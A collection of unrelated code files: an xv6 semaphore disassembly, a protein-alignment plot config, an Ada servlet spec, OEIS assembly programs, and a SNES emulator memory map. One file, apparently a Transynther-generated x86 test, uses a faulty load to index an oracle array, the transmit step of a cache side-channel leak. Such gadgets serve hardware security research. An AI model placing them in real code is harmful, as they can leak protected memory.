00001131 <sem_aquire>:
//Attempts to aquire a lock. If count is not
//full then we will add the process to the list of
//processes holding the lock.
void
sem_aquire(struct semaphore * s){
1131: 55 push %ebp
1132: 89 e5 mov %esp,%ebp
1134: 83 ec 28 sub $0x28,%esp
//Disable interrupts? nah
//We need to only get a hold of waiters?
//If count is full then place proccess on waiters list
//Else add to the holding list
lock_acquire(&s->lock);
1137: 8b 45 08 mov 0x8(%ebp),%eax
113a: 89 04 24 mov %eax,(%esp)
113d: e8 5c fd ff ff call e9e <lock_acquire>
if(s->count == 0){
1142: 8b 45 08 mov 0x8(%ebp),%eax
1145: 8b 40 04 mov 0x4(%eax),%eax
1148: 85 c0 test %eax,%eax
114a: 75 2f jne 117b <sem_aquire+0x4a>
//printf(1, "Sem F\n");
//add proc to waiters list
int tid = getpid();
114c: e8 31 f8 ff ff call 982 <getpid>
1151: 89 45 f4 mov %eax,-0xc(%ebp)
//place requesting process to sleep
add_q(&s->waiters, tid); //Add process to queue
1154: 8b 45 08 mov 0x8(%ebp),%eax
1157: 8d 50 0c lea 0xc(%eax),%edx
115a: 8b 45 f4 mov -0xc(%ebp),%eax
115d: 89 44 24 04 mov %eax,0x4(%esp)
1161: 89 14 24 mov %edx,(%esp)
1164: e8 8a fe ff ff call ff3 <add_q>
//printf(1, " Added to waiters semaphore with size: %d\n", s->size);
lock_release(&s->lock);
1169: 8b 45 08 mov 0x8(%ebp),%eax
116c: 89 04 24 mov %eax,(%esp)
116f: e8 4a fd ff ff call ebe <lock_release>
tsleep();
1174: e8 39 f8 ff ff call 9b2 <tsleep>
1179: eb 1a jmp 1195 <sem_aquire+0x64>
}
else{
//printf(1, "Sem A\n");
s->count--;
117b: 8b 45 08 mov 0x8(%ebp),%eax
117e: 8b 40 04 mov 0x4(%eax),%eax
1181: 8d 50 ff lea -0x1(%eax),%edx
1184: 8b 45 08 mov 0x8(%ebp),%eax
1187: 89 50 04 mov %edx,0x4(%eax)
lock_release(&s->lock);
118a: 8b 45 08 mov 0x8(%ebp),%eax
118d: 89 04 24 mov %eax,(%esp)
1190: e8 29 fd ff ff call ebe <lock_release>
}
}
1195: c9 leave
1196: c3 ret
00001197 <sem_signal>:
//Removes a process from a lock and decreases count
//to indicate that more process can hold the lock.
void
sem_signal(struct semaphore * s){
1197: 55 push %ebp
1198: 89 e5 mov %esp,%ebp
119a: 83 ec 28 sub $0x28,%esp
//printf(1, "Sem R\n");
//If count is full then place proccess on waiters list
lock_acquire(&s->lock);
119d: 8b 45 08 mov 0x8(%ebp),%eax
11a0: 89 04 24 mov %eax,(%esp)
11a3: e8 f6 fc ff ff call e9e <lock_acquire>
if(s->count < s->size){
11a8: 8b 45 08 mov 0x8(%ebp),%eax
11ab: 8b 50 04 mov 0x4(%eax),%edx
11ae: 8b 45 08 mov 0x8(%ebp),%eax
11b1: 8b 40 08 mov 0x8(%eax),%eax
11b4: 39 c2 cmp %eax,%edx
11b6: 7d 0f jge 11c7 <sem_signal+0x30>
s->count++;
11b8: 8b 45 08 mov 0x8(%ebp),%eax
11bb: 8b 40 04 mov 0x4(%eax),%eax
11be: 8d 50 01 lea 0x1(%eax),%edx
11c1: 8b 45 08 mov 0x8(%ebp),%eax
11c4: 89 50 04 mov %edx,0x4(%eax)
}
int tid;
tid = pop_q(&s->waiters);
11c7: 8b 45 08 mov 0x8(%ebp),%eax
11ca: 83 c0 0c add $0xc,%eax
11cd: 89 04 24 mov %eax,(%esp)
11d0: e8 98 fe ff ff call 106d <pop_q>
11d5: 89 45 f4 mov %eax,-0xc(%ebp)
if(tid != -1){
11d8: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp)
11dc: 74 2e je 120c <sem_signal+0x75>
//printf(1, "Sem A\n");
twakeup(tid);
11de: 8b 45 f4 mov -0xc(%ebp),%eax
11e1: 89 04 24 mov %eax,(%esp)
11e4: e8 d1 f7 ff ff call 9ba <twakeup>
s->count--;
11e9: 8b 45 08 mov 0x8(%ebp),%eax
11ec: 8b 40 04 mov 0x4(%eax),%eax
11ef: 8d 50 ff lea -0x1(%eax),%edx
11f2: 8b 45 08 mov 0x8(%ebp),%eax
11f5: 89 50 04 mov %edx,0x4(%eax)
if(s->count < 0) s->count = 0;
11f8: 8b 45 08 mov 0x8(%ebp),%eax
11fb: 8b 40 04 mov 0x4(%eax),%eax
11fe: 85 c0 test %eax,%eax
1200: 79 0a jns 120c <sem_signal+0x75>
1202: 8b 45 08 mov 0x8(%ebp),%eax
1205: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax)
}
lock_release(&s->lock);
120c: 8b 45 08 mov 0x8(%ebp),%eax
120f: 89 04 24 mov %eax,(%esp)
1212: e8 a7 fc ff ff call ebe <lock_release>
1217: c9 leave
1218: c3 ret
|
data/jpred4/jp_batch_1613899824__TnwHgxO/jp_batch_1613899824__TnwHgxO.als | jonriege/predict-protein-structure | 0 | 5162 | SILENT_MODE
BLOCK_FILE jp_batch_1613899824__TnwHgxO.concise.blc
MAX_NSEQ 355
MAX_INPUT_LEN 357
OUTPUT_FILE jp_batch_1613899824__TnwHgxO.concise.ps
PORTRAIT
POINTSIZE 8
IDENT_WIDTH 12
X_OFFSET 2
Y_OFFSET 2
DEFINE_FONT 0 Helvetica DEFAULT
DEFINE_FONT 1 Helvetica REL 0.75
DEFINE_FONT 7 Helvetica REL 0.6
DEFINE_FONT 3 Helvetica-Bold DEFAULT
DEFINE_FONT 4 Times-Bold DEFAULT
DEFINE_FONT 5 Helvetica-BoldOblique DEFAULT
#
DEFINE_COLOUR 3 1 0.62 0.67 # Turquiose
DEFINE_COLOUR 4 1 1 0 # Yellow
DEFINE_COLOUR 5 1 0 0 # Red
DEFINE_COLOUR 7 1 0 1 # Purple
DEFINE_COLOUR 8 0 0 1 # Blue
DEFINE_COLOUR 9 0 1 0 # Green
DEFINE_COLOUR 10 0.41 0.64 1.00 # Pale blue
DEFINE_COLOUR 11 0.41 0.82 0.67 # Pale green
DEFINE_COLOUR 50 0.69 0.18 0.37 # Pink (helix)
DEFINE_COLOUR 51 1.00 0.89 0.00 # Gold (strand)
NUMBER_INT 10
SETUP
#
# Highlight specific residues.
# Avoid highlighting Lupas 'C' predictions by
# limiting the highlighting to the alignments
Scol_CHARS C 1 1 322 344 4
Ccol_CHARS H ALL 5
Ccol_CHARS P ALL 8
SURROUND_CHARS LIV ALL
#
# Replace known structure types with whitespace
SUB_CHARS 1 345 322 354 H SPACE
SUB_CHARS 1 345 322 354 E SPACE
SUB_CHARS 1 345 322 354 - SPACE
STRAND 8 348 11
COLOUR_TEXT_REGION 8 348 11 348 51
STRAND 18 348 19
COLOUR_TEXT_REGION 18 348 19 348 51
STRAND 25 348 32
COLOUR_TEXT_REGION 25 348 32 348 51
STRAND 39 348 45
COLOUR_TEXT_REGION 39 348 45 348 51
STRAND 69 348 75
COLOUR_TEXT_REGION 69 348 75 348 51
STRAND 84 348 89
COLOUR_TEXT_REGION 84 348 89 348 51
STRAND 133 348 138
COLOUR_TEXT_REGION 133 348 138 348 51
STRAND 145 348 151
COLOUR_TEXT_REGION 145 348 151 348 51
STRAND 163 348 164
COLOUR_TEXT_REGION 163 348 164 348 51
STRAND 171 348 179
COLOUR_TEXT_REGION 171 348 179 348 51
STRAND 190 348 196
COLOUR_TEXT_REGION 190 348 196 348 51
STRAND 207 348 210
COLOUR_TEXT_REGION 207 348 210 348 51
STRAND 237 348 241
COLOUR_TEXT_REGION 237 348 241 348 51
STRAND 249 348 255
COLOUR_TEXT_REGION 249 348 255 348 51
STRAND 266 348 271
COLOUR_TEXT_REGION 266 348 271 348 51
STRAND 277 348 286
COLOUR_TEXT_REGION 277 348 286 348 51
STRAND 296 348 303
COLOUR_TEXT_REGION 296 348 303 348 51
STRAND 310 348 317
COLOUR_TEXT_REGION 310 348 317 348 51
STRAND 8 353 10
COLOUR_TEXT_REGION 8 353 10 353 51
STRAND 17 353 20
COLOUR_TEXT_REGION 17 353 20 353 51
STRAND 25 353 32
COLOUR_TEXT_REGION 25 353 32 353 51
STRAND 39 353 44
COLOUR_TEXT_REGION 39 353 44 353 51
STRAND 56 353 57
COLOUR_TEXT_REGION 56 353 57 353 51
STRAND 68 353 75
COLOUR_TEXT_REGION 68 353 75 353 51
STRAND 84 353 90
COLOUR_TEXT_REGION 84 353 90 353 51
STRAND 133 353 139
COLOUR_TEXT_REGION 133 353 139 353 51
STRAND 145 353 151
COLOUR_TEXT_REGION 145 353 151 353 51
STRAND 162 353 164
COLOUR_TEXT_REGION 162 353 164 353 51
STRAND 171 353 180
COLOUR_TEXT_REGION 171 353 180 353 51
STRAND 190 353 197
COLOUR_TEXT_REGION 190 353 197 353 51
STRAND 206 353 211
COLOUR_TEXT_REGION 206 353 211 353 51
STRAND 229 353 230
COLOUR_TEXT_REGION 229 353 230 353 51
STRAND 236 353 241
COLOUR_TEXT_REGION 236 353 241 353 51
STRAND 249 353 255
COLOUR_TEXT_REGION 249 353 255 353 51
STRAND 266 353 270
COLOUR_TEXT_REGION 266 353 270 353 51
STRAND 277 353 286
COLOUR_TEXT_REGION 277 353 286 353 51
STRAND 296 353 303
COLOUR_TEXT_REGION 296 353 303 353 51
STRAND 310 353 317
COLOUR_TEXT_REGION 310 353 317 353 51
STRAND 7 354 12
COLOUR_TEXT_REGION 7 354 12 354 51
STRAND 25 354 32
COLOUR_TEXT_REGION 25 354 32 354 51
STRAND 39 354 45
COLOUR_TEXT_REGION 39 354 45 354 51
STRAND 50 354 50
COLOUR_TEXT_REGION 50 354 50 354 51
STRAND 72 354 74
COLOUR_TEXT_REGION 72 354 74 354 51
STRAND 84 354 85
COLOUR_TEXT_REGION 84 354 85 354 51
STRAND 133 354 136
COLOUR_TEXT_REGION 133 354 136 354 51
STRAND 145 354 150
COLOUR_TEXT_REGION 145 354 150 354 51
STRAND 164 354 164
COLOUR_TEXT_REGION 164 354 164 354 51
STRAND 172 354 174
COLOUR_TEXT_REGION 172 354 174 354 51
STRAND 190 354 195
COLOUR_TEXT_REGION 190 354 195 354 51
STRAND 239 354 240
COLOUR_TEXT_REGION 239 354 240 354 51
STRAND 249 354 255
COLOUR_TEXT_REGION 249 354 255 354 51
STRAND 269 354 272
COLOUR_TEXT_REGION 269 354 272 354 51
STRAND 277 354 286
COLOUR_TEXT_REGION 277 354 286 354 51
STRAND 296 354 303
COLOUR_TEXT_REGION 296 354 303 354 51
STRAND 310 354 317
COLOUR_TEXT_REGION 310 354 317 354 51
|
src/servlet-rest-operation.ads | My-Colaborations/ada-servlet | 6 | 6930 | -----------------------------------------------------------------------
-- servlet-rest-operation -- REST API Operation Definition
-- Copyright (C) 2017 <NAME>
-- Written by <NAME> (<EMAIL>)
--
-- Licensed under the Apache License, Version 2.0 (the "License");
-- you may not use this file except in compliance with the License.
-- You may obtain a copy of the License at
--
-- http://www.apache.org/licenses/LICENSE-2.0
--
-- Unless required by applicable law or agreed to in writing, software
-- distributed under the License is distributed on an "AS IS" BASIS,
-- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-- See the License for the specific language governing permissions and
-- limitations under the License.
-----------------------------------------------------------------------
generic
Handler : Operation_Access;
Method : Method_Type := GET;
URI : String;
Permission : Security.Permissions.Permission_Index := Security.Permissions.NONE;
package Servlet.Rest.Operation is
function Definition return Descriptor_Access;
end Servlet.Rest.Operation;
|
oeis/120/A120293.asm | neoneye/loda-programs | 11 | 168091 | <reponame>neoneye/loda-programs
; A120293: Absolute value of numerator of determinant of n X n matrix with M(i,j) = (i+1)/(i+2) if i=j otherwise 1.
; Submitted by <NAME>
; 2,1,11,17,1,1,41,17,31,37,29,101,29,1,149,167,31,103,227,83,1,37,107,347,1,67,431,461,41,131,557,197,313,331,233,67,97,1,857,1,157,1,1031,359,281,293,1,1,661,229,1427,1481,1,199,97,569,883,83,1,1949,503,173,2141,2207,379,1171,2411,827,1,1,1,163,1423,487,2999,181,263,809,107,103,1741,1783,1217,101,239,163,4001,4091,1,2137,397,1487,1,1163,1583,131,2473,1,5147,181
add $0,1
mov $1,2
mov $2,1
mov $3,$0
lpb $3
add $1,$4
mov $4,$3
add $4,2
mul $2,$4
sub $3,1
lpe
gcd $2,$1
div $1,$2
mov $0,$1
|
programs/oeis/309/A309294.asm | karttu/loda | 0 | 105119 | ; A309294: (1/2) times the sum of the elements of all subsets of [n] whose sum is divisible by two.
; 0,0,1,6,20,60,168,448,1152,2880,7040,16896,39936,93184,215040,491520,1114112,2506752,5603328,12451840,27525120,60555264,132644864,289406976,629145600,1363148800,2944401408,6341787648,13623099392,29192355840,62411243520,133143986176,283467841536,602369163264,1277752770560,2705829396480,5720896438272,12077448036352,25460566130688,53601191854080,112699941847040,236669877878784,496429499940864,1040137999876096,2177033022996480,4551978138992640
mov $1,$0
pow $1,2
add $1,$0
lpb $0,1
sub $0,1
mul $1,2
lpe
div $1,16
|
Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_4212_305.asm | ljhsiun2/medusa | 9 | 94692 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r8
push %r9
push %rdi
lea addresses_normal_ht+0x3c07, %r8
nop
cmp $35589, %r10
vmovups (%r8), %ymm6
vextracti128 $1, %ymm6, %xmm6
vpextrq $1, %xmm6, %rdi
nop
nop
nop
nop
nop
xor $33261, %r9
pop %rdi
pop %r9
pop %r8
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r14
push %r15
push %r9
push %rbp
push %rbx
// Faulty Load
lea addresses_PSE+0xe707, %r14
cmp $21335, %rbp
mov (%r14), %bx
lea oracles, %r9
and $0xff, %rbx
shlq $12, %rbx
mov (%r9,%rbx,1), %rbx
pop %rbx
pop %rbp
pop %r9
pop %r15
pop %r14
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 16, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_PSE', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_normal_ht', 'size': 32, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'33': 4212}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
Assembly/Project/Variables.asm | Myself086/Project-Nested | 338 | 90307 |
// Dummy constant to bypass an assembler bug
.def Zero 0x00
// ---------------------------------------------------------------------------
// Page summary (LoROM banks; 00-3f, 80-bf)
//*00 = NES RAM range
// 01 = "
//*02 = "
//*03 = "
//*04 = "
//*05 = "
//*06 = "
//*07 = "
// 08 = Extended RAM for SNES ports and some mappers (ie. mapper 5 later)
// 09 = "
// 0a = various small variables and small arrays
// 0b = stack compare for emulating original return addresses
// 0c = stack low bits for emulating original return addresses
// 0d = stack high bits for emulating original return addresses
// 0e = SNES sprites (Requires even page alignment)
// 0f = "
// 10 = " + mapper memory + <Unused> + IRQ stack
//*11 = HDMA pointers + CHR banks + sound
// 12 = NES palette (with some unused memory, reserved for 4bpp hacks?)
// 13 = Function pointer start index, used for the semi-sorted function list (only used while recompiling, could be moved later)
// 14 = "
// 15 = Function pointer lookup table for indirect JMP
// 16 = "
// 17 = "
// 18 = <Unused>
// 19 = <Unused>
// 1a = <Unused>
// 1b = <Unused>
//*1c = NES sprite remap when reading from pages outside of WRAM
//*1d = IRQ data (stack moved before HDMA pointers)
//*1e = Main thread
// 1f = Addition table, with open bus mirror in page 20 (TODO: Verify if it works with HDMA active)
// * Pages that may use DP register for faster access (page 01 is possible but unpractical)
// IMPORTANT FOR FUTURE COMPATIBILITY: Anything from pages 0A to 1F is subject to change.
// ---------------------------------------------------------------------------
.macro DefineGlobalVariable name, length
{0}:
.def {0}_LENGTH {1}
.fill {0}_LENGTH
.endm
// ---------------------------------------------------------------------------
// Pointers and various variables
// Structure (4 bytes): 24-bit address for accessing each 8kb bank, 8-bit unused
.def Program_Bank 0x0a00
.def Program_Bank_Ram 0x0a00
.def Program_Bank_Out 0x0a20
.def Program_Bank_In 0x0a40
.def Program_Bank_Sram 0x0a60
.def Program_Bank_0 0x0a80
.def Program_Bank_1 0x0aa0
.def Program_Bank_2 0x0ac0
.def Program_Bank_3 0x0ae0
// Structure (3 bytes): 8-bit zero, 8-bit original bank number, 8-bit zero
// NOTE: Addresses point directly to the 8-bit original bank
.def Program_BankNum 0x0a05
.def Program_BankNum_0000 0x0a05
.def Program_BankNum_2000 0x0a25
.def Program_BankNum_4000 0x0a45
.def Program_BankNum_6000 0x0a65
.def Program_BankNum_8000 0x0a85
.def Program_BankNum_a000 0x0aa5
.def Program_BankNum_c000 0x0ac5
.def Program_BankNum_e000 0x0ae5
// From here, memory is segmented in chunks of 25 bytes between each memory mapping structure above
.addr 0x0a07, 0x0a1f
// 25/25
// Unused
StackPointer_6502:
.fill 2
StackPointer_65816:
.fill 2
// Interrupt flag value is reversed: true = 0x00, false = 0xff
InterruptFlag_6502:
.fill 1
Vram_Queue_Write:
.fill 2
Vram_Queue_PpuAddr:
.fill 2
// Bit 0 only, other bits must remain unused, CHR bank swap between 0x0000 and 0x1000
IO_MapperChrBankSwap:
.fill 1
// Value at ports 2000 and 2001 is 8-bit but is read as 16-bit during HDMA updates, upper bits must remain 0x00
IO_2000:
.fill 2
IO_2001:
.fill 2
IO_2000_EarlyValue:
.fill 2
IO_2007r:
.fill 1
// Contains flags for how the sprite transfer was handled
// bit 7: set = 8x16, clear = 8x8
// bit 0: set when off screen sprites for 8x8 are already written
IO_4014_SpriteSize:
.fill 1
IO_BG_MIRRORS:
.fill 2
DefineGlobalVariable Feedback_Active 1 // Negative when active
DefineGlobalVariable Sram_SizeTotalKb 2 // Total amount of SRAM in kilobytes
DefineGlobalVariable Sram_SizeNonDynamicKb 2 // Amount of SRAM used for non-dynamic memory allocation
.addr 0x0a27, 0x0a3f
// 14/25
IO_PPUADDR:
.fill 2
IO_PPUADDR_INC:
.fill 2
IO_SCROLL_X:
.fill 2
IO_SCROLL_Y:
.fill 2
// These following scroll values are based on: https://wiki.nesdev.com/w/index.php/PPU_scrolling
// The 15 bit registers t and v are composed this way during rendering:
// _yyy NnYY YYYX XXXX
// X = coarse X scroll
// Y = coarse Y scroll
// n = nametable select X
// N = nametable select Y
// y = fine Y scroll
//
// My interpretation of t to SNES scrolling
// PPU_SCROLL_X = ____ __Nn XXXX Xxxx
// PPU_SCROLL_Y = ____ ___N YYYY Yxxx
//
// bits: 7 6 5 4 3 2 1 0
// $2000 write: __ __ __ __ __ __ y8 x8
// $2005 write 1: x7 x6 x5 x4 x3 x2 x1 x0
// $2005 write 2: y7 y6 y5 y4 y3 y2 y1 y0
// $2006 write 1: __ __ y1 y0 y8 x8 y7 y6 (resets y2)
// $2006 write 2: y5 y4 y3 x7 x6 x5 x4 x3 (and copy t to v)
PPU_SCROLL_X:
.fill 2
PPU_SCROLL_Y:
.fill 2
Recompile_PrgRamTopRange:
.fill 2
.addr 0x0a47, 0x0a5f
// 14/25
// Identifying when to send sprite 0 hit
Sprite0Line:
.fill 2
// Performance counter out of 57640 cycles per frame
Idle_CycleCounter:
.fill 2
Idle_Average:
.fill 2
Idle_FrameCount:
.fill 2
Idle_CyclesTotal:
.fill 4
// Fast access mapper number
Mapper_x2:
.fill 2
.addr 0x0a67, 0x0a7f
// 25/25
NMI_NesBank:
.fill 2
NMI_SnesPointer:
.fill 3
IRQ_NesBank:
.fill 2
IRQ_SnesPointer:
.fill 3
// Code for reading CHR RAM
ChrRam_Read:
.fill 7
// Code for writing CHR RAM
ChrRam_Write:
.fill 7
// Page in bank 0x7e
ChrRam_Page:
.fill 1
.def ChrRam_CONSTBANK 0x7e0000
.addr 0x0a87, 0x0a9f
// 20/25
// Data copied from APU's memory
Sound_DebugAPU:
.fill 2
// Long jump for the following 24-bit pointer
InterpretIO_Action_JMP:
.fill 1
// 24-bit code pointer for indirect IO access (TODO: Thread safety)
InterpretIO_Action:
.fill 3
// Indirect memory access meant for indirect IO but every indirect opcode needs its own action pointer
Indirect_Ora_Action:
.fill 2
Indirect_And_Action:
.fill 2
Indirect_Eor_Action:
.fill 2
Indirect_Adc_Action:
.fill 2
Indirect_Cmp_Action:
.fill 2
Indirect_Sbc_Action:
.fill 2
// Pointer+1 to list of banks that can be used as extra heap
Memory__CartBanks:
.fill 2
.def Memory__CartBanks_CONSTBANK 0x7f0000
.addr 0x0aa7, 0x0abf
// 23/25
NmiReturn_Busy: // Negative when data below is in use, must be followed by any NmiReturn data due to 16-bit STZ
.fill 1
NmiReturn_NesBank:
.fill 1
NmiReturn_IOTemp16:
.fill 2
NmiReturn_IOTemp:
.fill 1
NmiReturn_JMPiU:
.fill 2
NmiReturn_ReturnAddress:
.fill 3
NmiReturn_ReturnAddress2:
.fill 3
NmiReturn_A:
.fill 2
NmiReturn_X:
.fill 2
NmiReturn_Y:
.fill 2
NmiReturn_DB: // DB must be above P, they are copied together
.fill 1
NmiReturn_P:
.fill 1
NmiReturn_DP:
.fill 2
.addr 0x0ac7, 0x0adf
// 24/25
// 16 bytes of nametable remap from NES to SNES (must be at least 0x20 bytes deep into the page to avoid page crossing penalty)
NameTable_Remap_Main:
.fill 16
NameTable_ActiveMap:
.fill 8
.addr 0x0ae7, 0x0afd
// 16/23
// 16 bytes of nametable remap from NES to SNES (must be at least 0x20 bytes deep into the page to avoid page crossing penalty)
NameTable_Remap_Irq:
.fill 16
// Indirect JMP list, initially in SRAM if available
DefineGlobalVariable JMPi_EmptyPointer 3
DefineGlobalVariable JMPi_CurrentPoolTop 3
.def JMPi_InitialPoolBottomValue 0xb17000
.def JMPi_InitialPoolTopValue 0xb18000
.def JMPi_PoolSize 0x001000
.def Breakpoint 0x7e0afe
// ---------------------------------------------------------------------------
// Stack return emulation
.def StackEmu_Compare 0x0b00
.def StackEmu_LowBits 0x0c00
.def StackEmu_HighBits 0x0d00
// ---------------------------------------------------------------------------
// Snes sprites
// NOTE: Requires even page alignment
// 0x220 bytes
.def Sprites_Buffer 0x0e00
// 0x20 bytes for counting sprite limit (overlaps extra attribute bits on purpose)
.def Sprites_CountdownPer8Lines 0x1000
// ---------------------------------------------------------------------------
// Mapper
// 0x20 bytes of mapper memory
.def Mapper_Memory 0x1020
// ---------------------------------------------------------------------------
// Unused
.addr 0x1040, 0x10df
// ---------------------------------------------------------------------------
// HDMA pointers, CHR banks and sound (Must all be in the same page because we are using DP shortcuts)
.addr 0x1101, 0x11ff
.macro HDMA_Struct_Mac name, channelNum
// Front = Ehat is currently shown on screen
// Back = What is currently being written, with index added
// BackBase = Base address of our back buffer
// Side = Either ready to swap or already swapped
{0}:
{0}_Front:
.fill 2
{0}_Back:
.fill 2
{0}_BackBase:
.fill 2
{0}_Side:
.fill 2
.endm
.def HDMA_BUFFER_BANK 0x7e0000
HDMA_Struct_Mac HDMA_Scroll, 6
HDMA_Struct_Mac HDMA_CHR, 5
HDMA_Struct_Mac HDMA_SpriteCHR, 4
HDMA_Struct_Mac HDMA_LayersEnabled, 3
HDMA_Struct_Mac HDMA_Sound, 1
// Ready, upper byte non-zero when Front and Side are ready to be swapped
HDMA_SideBufferReady:
.fill 2
.macro CHR_Struct_Mac name, size
CHR_0_{0}:
.fill {1}
CHR_1_{0}:
.fill {1}
CHR_2_{0}:
.fill {1}
CHR_3_{0}:
.fill {1}
CHR_4_{0}:
.fill {1}
CHR_5_{0}:
.fill {1}
CHR_6_{0}:
.fill {1}
CHR_7_{0}:
.fill {1}
.endm
// NesBank = CHR Bank understood by the mapper
// VramPage = (const) Where this CHR range is in Vram
// PageLength = (const) How much space this CHR range takes in Vram
CHR_Struct_Mac NesBank, 1
CHR_Struct_Mac VramPage, 1
CHR_Struct_Mac PageLength, 1
// Sets of CHR banks requested by this frame
CHR_SetsRequest_0:
.fill 8
CHR_SetsRequest_1:
.fill 8
CHR_SetsRequest_2:
.fill 8
// Records which CHR NesBanks are in use for the following VRAM addresses: 0x0000-0x1fff, 0x4000-0x5fff, 0x6000-0x7fff
CHR_SetsActive_0:
.fill 8
CHR_SetsActive_1:
.fill 8
CHR_SetsActive_2:
.fill 8
// Scanline is current virtual scanline and Scanline_HDMA is the last line affected by HDMA
Scanline:
.fill 2
Scanline_HDMA:
.fill 2
// IRQ interrupt line, 0 if unused
Scanline_IRQ:
.fill 1
// Offset of where the next request is written
CHR_SetsRequest_Index:
.fill 2
// (const) Number of CHR banks that can be used at once for this mapper (CHR set)
// x2 variant can be loaded in 16-bit mode
CHR_BanksInUse:
.fill 1
CHR_BanksInUse_x2:
.fill 2
// Scanline update is busy, avoiding recursive calls from IRQ
Scanline_Busy:
.fill 1
// CHR/HDMA local variables during updates
HDMA_VSTACK_START:
.fill 16
.def HDMA_VSTACK_PAGE Zero+HDMA_VSTACK_START&0xff00
// Reserve 0x18 bytes for original sound registers
Sound_NesRegs:
.fill 0x18
// Extra control bits
.def Sound_ExtraControl Sound_NesRegs+0x16
// Sound is active when this variable is -1
Sound_Active:
.fill 2
// Sound emulation variables
Sound_square0_length:
.fill 1
Sound_square1_length:
.fill 1
Sound_triangle_length:
.fill 1
Sound_noise_length:
.fill 1
// Update number when updating HDMA, 0 to 3
Sound_UpdateNumber:
.fill 1
// Temporary update number to reach
Sound_UpdateNumberNew:
.fill 1
// Low byte non-zero when sound buffers are ready to be swapped
Sound_Ready:
.fill 2
// Pointer for verifying whether VramQ overflowed (duplicate)
Vram_Queue_Top_2:
.fill 3
// ---------------------------------------------------------------------------
// Palette
// Nes Palettes (0x100 bytes)
.def PaletteNes 0x1200
// ---------------------------------------------------------------------------
// Quick find function pointer
// 0x200 bytes
.def QuickFunction 0x1300
// ---------------------------------------------------------------------------
// Quick access to JMPi first node
